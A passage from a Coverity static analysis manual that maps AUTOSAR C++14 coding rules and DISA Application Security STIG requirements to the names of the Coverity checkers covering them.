M5-2-9	A cast shall not convert a pointer type to an integral type.	AUTOSAR C++14 M5-2-9
M5-2-10	The increment ( <code>++</code> ) and decrement ( <code>--</code> ) operators shall not be mixed with other operators in an expression.	AUTOSAR C++14 M5-2-10
M5-2-11	The comma operator, <code>&amp;&amp;</code> operator and the <code>  </code> operator shall not be overloaded.	AUTOSAR C++14 M5-2-11
M5-2-12	An identifier with array type passed as a function argument shall not decay to a pointer.	AUTOSAR C++14 M5-2-12
M5-3-1	Each operand of the <code>!</code> operator, the logical <code>&amp;&amp;</code> or the logical <code>  </code> operators shall have type <code>bool</code> .	AUTOSAR C++14 M5-3-1
M5-3-2	The unary minus operator shall not be applied to an expression whose underlying type is unsigned.	AUTOSAR C++14 M5-3-2
M5-3-3	The unary <code>&amp;</code> operator shall not be overloaded.	AUTOSAR C++14 M5-3-3

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M5-3-4	Evaluation of the operand to the sizeof operator shall not contain side effects.	AUTOSAR C++14 M5-3-4
M5-8-1	The right hand operand of a shift operator shall lie between zero and one less than the width in bits of the underlying type of the left hand operand.	AUTOSAR C++14 M5-8-1
M5-14-1	The right hand operand of a logical &&,    operators shall not contain side effects.	AUTOSAR C++14 M5-14-1
M5-18-1	The comma operator shall not be used.	AUTOSAR C++14 M5-18-1
M5-19-1	Evaluation of constant unsigned integer expressions shall not lead to wrap-around.	AUTOSAR C++14 M5-19-1
M6-2-1	Assignment operators shall not be used in sub-expressions.	AUTOSAR C++14 M6-2-1
M6-2-2	Floating-point expressions shall not be directly or indirectly tested for equality or inequality.	AUTOSAR C++14 M6-2-2
M6-2-3	Before preprocessing, a null statement shall only occur on a line by itself; it may be followed by a comment, provided that the first character following the null statement is a white-space character.	AUTOSAR C++14 M6-2-3
M6-3-1	The statement forming the body of a switch, while, do ... while or for statement shall be a compound statement.	AUTOSAR C++14 M6-3-1
M6-4-1	An if ( condition ) construct shall be followed by a compound statement. The else keyword shall be followed by either a compound statement, or another if statement.	AUTOSAR C++14 M6-4-1
M6-4-2	All if ... else if constructs shall be terminated with an else clause.	AUTOSAR C++14 M6-4-2
M6-4-3	A switch statement shall be a well-formed switch statement.	AUTOSAR C++14 M6-4-3

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M6-4-4	A switch-label shall only be used when the most closely-enclosing compound statement is the body of a switch statement.	AUTOSAR C++14 M6-4-4
M6-4-5	An unconditional throw or break statement shall terminate every non-empty switch-clause.	AUTOSAR C++14 M6-4-5
M6-4-6	The final clause of a switch statement shall be the default-clause.	AUTOSAR C++14 M6-4-6
M6-4-7	The condition of a switch statement shall not have bool type.	AUTOSAR C++14 M6-4-7
M6-5-2	If loop-counter is not modified by -- or ++, then, within condition, the loop-counter shall only be used as an operand to <=, <, > or >=.	AUTOSAR C++14 M6-5-2
M6-5-3	The loop-counter shall not be modified within condition or statement.	AUTOSAR C++14 M6-5-3
M6-5-4	The loop-counter shall be modified by one of: --, ++, -= n, or += n; where n remains constant for the duration of the loop.	AUTOSAR C++14 M6-5-4
M6-5-5	A loop-control-variable other than the loop-counter shall not be modified within condition or expression.	AUTOSAR C++14 M6-5-5
M6-5-6	A loop-control-variable other than the loop-counter which is modified in statement shall have type bool.	AUTOSAR C++14 M6-5-6
M6-6-1	Any label referenced by a goto statement shall be declared in the same block, or in a block enclosing the goto statement.	AUTOSAR C++14 M6-6-1
M6-6-2	The goto statement shall jump to a label declared later in the same function body.	AUTOSAR C++14 M6-6-2

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M6-6-3	The continue statement shall only be used within a well-formed for loop.	AUTOSAR C++14 M6-6-3
M7-1-2	A pointer or reference parameter in a function shall be declared as pointer to const or reference to const if the corresponding object is not modified.	AUTOSAR C++14 M7-1-2
M7-3-1	The global namespace shall only contain main, namespace declarations and extern "C" declarations.	AUTOSAR C++14 M7-3-1
M7-3-2	The identifier main shall not be used for a function other than the global function main.	AUTOSAR C++14 M7-3-2
M7-3-3	There shall be no unnamed namespaces in header files.	AUTOSAR C++14 M7-3-3
M7-3-4	Using-directives shall not be used.	AUTOSAR C++14 M7-3-4
M7-3-6	Using-directives and using-declarations (excluding class scope or function scope using-declarations) shall not be used in header files.	AUTOSAR C++14 M7-3-6
M7-4-2	Assembler instructions shall only be introduced using the asm declaration.	AUTOSAR C++14 M7-4-2
M7-4-3	Assembly language shall be encapsulated and isolated.	AUTOSAR C++14 M7-4-3
M7-5-1	A function shall not return a reference or a pointer to an automatic variable (including parameters), defined within the function.	AUTOSAR C++14 M7-5-1
M7-5-2	The address of an object with automatic storage shall not be assigned to another object that may persist after the first object has ceased to exist.	AUTOSAR C++14 M7-5-2
M8-0-1	An init-declarator-list or a member-declarator-list shall consist of a single init-	AUTOSAR C++14 M8-0-1

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	declarator or member-declarator respectively.	
M8-3-1	Parameters in an overriding virtual function shall either use the same default arguments as the function they override, or else shall not specify any default arguments.	AUTOSAR C++14 M8-3-1
M8-4-2	The identifiers used for the parameters in a re-declaration of a function shall be identical to those in the declaration.	AUTOSAR C++14 M8-4-2
M8-4-4	A function identifier shall either be used to call the function or it shall be preceded by &.	AUTOSAR C++14 M8-4-4
M8-5-2	Braces shall be used to indicate and match the structure in the non-zero initialization of arrays and structures.	AUTOSAR C++14 M8-5-2
M9-3-1	Const member functions shall not return non-const pointers or references to class-data.	AUTOSAR C++14 M9-3-1
M9-3-3	If a member function can be made static then it shall be made static, otherwise if it can be made const then it shall be made const.	AUTOSAR C++14 M9-3-3
M9-6-4	Named bit-fields with signed integer type shall have a length of more than one bit.	AUTOSAR C++14 M9-6-4
M10-1-1	Classes should not be derived from virtual bases.	AUTOSAR C++14 M10-1-1
M10-1-2	A base class shall only be declared virtual if it is used in a diamond hierarchy.	AUTOSAR C++14 M10-1-2
M10-1-3	An accessible base class shall not be both virtual and non-virtual in the same hierarchy.	AUTOSAR C++14 M10-1-3
M10-2-1	All accessible entity names within a multiple inheritance hierarchy should be unique.	AUTOSAR C++14 M10-2-1
M10-3-3	A virtual function shall only be overridden by a pure virtual	AUTOSAR C++14 M10-3-3

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	function if it is itself declared as pure virtual.	
M11-0-1	Member data in non-POD class types shall be private.	AUTOSAR C++14 M11-0-1
M12-1-1	An object's dynamic type shall not be used from the body of its constructor or destructor.	AUTOSAR C++14 M12-1-1
M14-5-3	A copy assignment operator shall be declared when there is a template assignment operator with a parameter that is a generic parameter.	AUTOSAR C++14 M14-5-3
M14-6-1	In a class template with a dependent base, any name that may be found in that dependent base shall be referred to using a qualified-id or this->.	AUTOSAR C++14 M14-6-1
M15-0-3	Control shall not be transferred into a try or catch block using a goto or a switch statement.	AUTOSAR C++14 M15-0-3
M15-1-1	The assignment-expression of a throw statement shall not itself cause an exception to be thrown.	AUTOSAR C++14 M15-1-1
M15-1-2	NULL shall not be thrown explicitly.	AUTOSAR C++14 M15-1-2
M15-1-3	An empty throw (throw;) shall only be used in the compound statement of a catch handler.	AUTOSAR C++14 M15-1-3
M15-3-1	Exceptions shall be raised only after start-up and before termination.	AUTOSAR C++14 M15-3-1
M15-3-3	Handlers of a function-try-block implementation of a class constructor or destructor shall not reference non-static members from this class or its bases.	AUTOSAR C++14 M15-3-3
M15-3-4	Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point.	AUTOSAR C++14 M15-3-4
M15-3-6	Where multiple handlers are provided in a single try-catch	AUTOSAR C++14 M15-3-6

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
	statement or function-try-block for a derived class and some or all of its bases, the handlers shall be ordered most-derived to base class.	
M15-3-7	Where multiple handlers are provided in a single try-catch statement or function-try-block, any ellipsis (catch-all) handler shall occur last.	AUTOSAR C++14 M15-3-7
M16-0-1	#include directives in a file shall only be preceded by other pre-processor directives or comments.	AUTOSAR C++14 M16-0-1
M16-0-2	Macros shall only be #define'd or #undef'd in the global namespace.	AUTOSAR C++14 M16-0-2
M16-0-5	Arguments to a function-like macro shall not contain tokens that look like pre-processing directives.	AUTOSAR C++14 M16-0-5
M16-0-6	In the definition of a function-like macro, each instance of a parameter shall be enclosed in parentheses, unless it is used as the operand of # or ##.	AUTOSAR C++14 M16-0-6
M16-0-7	Undefined macro identifiers shall not be used in #if or #elif pre-processor directives, except as operands to the defined operator.	AUTOSAR C++14 M16-0-7
M16-0-8	If the # token appears as the first token on a line, then it shall be immediately followed by a pre-processing token.	AUTOSAR C++14 M16-0-8
M16-1-1	The defined pre-processor operator shall only be used in one of the two standard forms.	AUTOSAR C++14 M16-1-1
M16-1-2	All #else, #elif and #endif pre-processor directives shall reside in the same file as the #if or #ifdef directive to which they are related.	AUTOSAR C++14 M16-1-2

AUTOSAR C++14 Standard

---

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
M16-2-3	Include guards shall be provided.	AUTOSAR C++14 M16-2-3
M16-3-1	There shall be at most one occurrence of the # or ## operators in a single macro definition.	AUTOSAR C++14 M16-3-1
M16-3-2	The # and ## operators should not be used.	AUTOSAR C++14 M16-3-2
M17-0-2	The names of standard library macros and objects shall not be reused.	AUTOSAR C++14 M17-0-2
M17-0-3	The names of standard library functions shall not be overridden.	AUTOSAR C++14 M17-0-3
M17-0-5	The setjmp macro and the longjmp function shall not be used.	AUTOSAR C++14 M17-0-5
M18-0-3	The library functions abort, exit, getenv and system from library <cstdlib> shall not be used.	AUTOSAR C++14 M18-0-3
M18-0-4	The time handling functions of library <ctime> shall not be used.	AUTOSAR C++14 M18-0-4
M18-0-5	The unbounded functions of library <cstring> shall not be used.	AUTOSAR C++14 M18-0-5
M18-2-1	The macro offsetof shall not be used.	AUTOSAR C++14 M18-2-1
M18-7-1	The signal handling facilities of <csignal> shall not be used.	AUTOSAR C++14 M18-7-1
M19-3-1	The error indicator errno shall not be used.	AUTOSAR C++14 M19-3-1
M27-0-1	The stream input/output library <cstdio> shall not be used.	AUTOSAR C++14 M27-0-1

# Appendix B. DISA Application Security and Development STIG Standard

## Table of Contents

B.1. Overview ..... 1056

### B.1. Overview

Coverity Analysis can identify violations of the rules as defined by the standard "DISA Application Security and Development STIG Version 4 Release 3". These rules are listed in the following table.

#### B.1.1. DISA STIG Coverage

Table B.1. DISA STIG Coverage

Name	Description	Coverity Checkers
APSC-DV-000060	The application must clear temporary storage and cookies when the session is terminated.	AWS_SSL_DISABLED CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-000170	The application must implement cryptographic mechanisms to protect the integrity of remote access sessions.	CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RAILS_DEVISE_CONFIG RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-000500	The application must prevent non-privileged users from executing privileged functions to include disabling,	CONFIG.JAVAEEMISSING_SERVLET_MAPPING CONFIG.MISSINGJSF2_SECURITY_CONSTRAINT CONFIG.MYBATIS_MAPPER_SQLI CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
	circumventing, or altering implemented security safeguards/countermeasures.	INSECURE_DIRECT_OBJECT_REFERENCE JSP_SQL_INJECTION OPENAPI.MISSING_AUTHZ RAILS_DEFAULT_ROUTES RAILS_MISSING_FILTER_ACTION SQLI SQL_NOT_CONSTANT
APSC-DV-000510	The application must execute without excessive account permissions.	
APSC-DV-000530	The application must enforce the limit of three consecutive invalid logon attempts by a user during a 15 minute time period.	OPENAPI.MISSING_RATE_LIMITING RAILS_DEVISE_CONFIG
APSC-DV-000580	The application must display the time and date of the users last successful logon.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000590	The application must protect against an individual (or process acting on behalf of an individual) falsely denying having performed organization-defined actions to be covered by non-repudiation.	OPENAPI.INSECURE_PASSWORD_CHANGE
APSC-DV-000650	The application must not write sensitive data into the application logs.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.CORDOVA_EXCESSIVE_LOGGING CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SENSITIVE_LOGGING CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_WINSTON_SENSITIVE_LOGGING

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-000670	The application must record a time stamp indicating when the event occurred.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000700	The application must record the username or user ID of the user associated with the event.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000940	The application must log application shutdown events.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000950	The application must log destination IP addresses.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000960	The application must log user actions involving access to data.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000970	The application must log user actions involving changes to data.	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-001120	The application must shut down by default upon audit failure (unless availability is an overriding concern).	
APSC-DV-001280	The application must protect audit information from any type of unauthorized read access.	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001290	The application must protect audit information from unauthorized modification.	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001300	The application must protect audit information from unauthorized deletion.	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001350	The application must use cryptographic mechanisms to protect the integrity of audit information.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ATS_INSECURE CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_COOKIE

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		INSECURE_MULTIPLE_PEER_CONNECTION INSECURE_REFERER_POLICY INSECURE_REMEMBER_ME_COOKIE OPENAPI.MISSING_TLS REVERSE_TABNABBING SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD UNSAFE_SESSION_SETTING VERBOSE_ERROR_REPORTING
APSC-DV-001360	Application audit tools must be cryptographically hashed.	CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-001370	The integrity of the audit tools must be validated by checking the files for changes in the cryptographic hash value.	CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-001390	The application must prohibit user installation of software without explicit privileged status.	
APSC-DV-001550	The application must use multifactor (Alt. Token) authentication for network access to privileged accounts.	
APSC-DV-001580	The application must use multifactor (e.g., CAC, Alt. Token) authentication for network access to non-privileged accounts.	
APSC-DV-001590	The application must use multifactor (Alt. Token) authentication for local access to privileged accounts.	
APSC-DV-001600	The application must use multifactor (e.g., CAC, Alt. Token) authentication	

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
	for local access to non-privileged accounts.	
APSC-DV-001620	The application must implement replay-resistant authentication mechanisms for network access to privileged accounts.	
APSC-DV-001630	The application must implement replay-resistant authentication mechanisms for network access to non-privileged accounts.	
APSC-DV-001650	The application must authenticate all network connected endpoint devices before establishing any connection.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		WEAK_GUARD WEAK_URL_SANITIZATION
APSC-DV-001660	Service-Oriented Applications handling non-releasable data must authenticate endpoint devices via mutual SSL/TLS.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPLE_PEER_CONNECTION INSECURE_REFERER_POLICY INSUFFICIENT_PRE_SIGNED_URL_TIMEOUT MISSING_AUTHZ OPENAPI.MISSING_TLS REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY TEMPORARY_CREDENTIALS_DURATION UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001680	The application must enforce a minimum 15-character password length.	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		WEAK_BIOMETRIC_AUTH
APSC-DV-001690	The application must enforce password complexity by requiring that at least one upper-case character be used.	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001700	The application must enforce password complexity by requiring that at least one lower-case character be used.	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001710	The application must enforce password complexity by requiring that at least one numeric character be used.	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001720	The application must enforce password complexity by requiring that at least one special character be used.	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001740	The application must only store cryptographic representations of passwords.	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_REFERRER_POLICY INSECURE_SALT RAILS_DEVISE_CONFIG

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		REVERSE_TABNABBING SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING WEAK_PASSWORD_HASH
APSC-DV-001750	The application must transmit only cryptographically-protected passwords.	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ATS_INSECURE CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING_HAPI_INERT EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPLE_PEER_CONNECTION INSECURE_REFERER_POLICY REVERSE_TABNABBING SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001770	The application must enforce a 60-day maximum password lifetime restriction.	RAILS_DEVISE_CONFIG
APSC-DV-001795	The application password must not be changeable by users other than the administrator or the user with which the password is associated.	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS

DISA Application Security and Development STIG Standard

Name	Description	Coverity Checkers
		OPENAPI.INSECURE_PASSWORD_CHANGE UNSAFE_BASIC_AUTH UNSAFE_SESSION_SETTING
